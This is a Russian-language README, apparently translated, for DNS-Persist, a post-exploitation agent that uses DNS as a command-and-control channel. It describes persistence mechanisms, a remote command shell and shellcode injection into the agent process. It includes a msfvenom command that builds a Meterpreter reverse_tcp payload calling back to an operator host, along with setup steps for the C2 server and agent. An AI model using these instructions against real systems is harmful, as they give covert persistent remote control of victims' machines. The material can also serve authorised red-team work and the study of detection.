
DNS-Persist — это постэксплуатационный агент, использующий DNS для управления и контроля.
DNS-Persist — это пост-эксплуатационный агент, который использует DNS для управления и контроля (C2). Серверная часть написана на Python, а агент — на C++. Это первая версия, в будущем будет добавлено больше функций и улучшений.
0x09AL - https://twitter.com/0x09al
НЕ ИСПОЛЬЗУЙТЕ ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ В НЕЗАКОННЫХ ЦЕЛЯХ.
АВТОР НЕ НЕСЁТ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ КОДА, ПРЕДОСТАВЛЕННОГО ЗДЕСЬ.
Существует много отличных работ по DNS C2, но я создал это программное обеспечение, чтобы сделать больший акцент на персистентности. Я не эксперт в C++, и это моя первая «настоящая программа» на C++ (так что ожидайте немного такого кода, от которого становится неловко).
Предложения по функциям и улучшениям открыты.
Есть две основные части:

В этой версии только 3 механизма персистентности. Позже будет добавлено больше.
Эта версия поддерживает псевдоинтерактивную командную оболочку, которую вы можете использовать для выполнения системных команд.
Эта версия поддерживает внедрение 32-битного шеллкода. Шеллкод выполняется в новом потоке в том же процессе, поэтому падающий или недействительный шеллкод также приведёт к падению агента. Избегайте NULL-байтов в шеллкоде.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
По умолчанию будет запущен DNS-сервер на порту 53. Вы можете изменить это в файле server.py.
Я использовал Visual Studio 2010 для написания агента, так что импортировать и компилировать его должно быть довольно просто.
Имейте в виду, что нужно изменить переменную DOMAIN_NAME в Declarations.h, чтобы она соответствовала вашему доменному имени.
Серверы имён домена должны указывать на IP-адрес DNS-Persist.
#define DOMAIN_NAME "example.com"



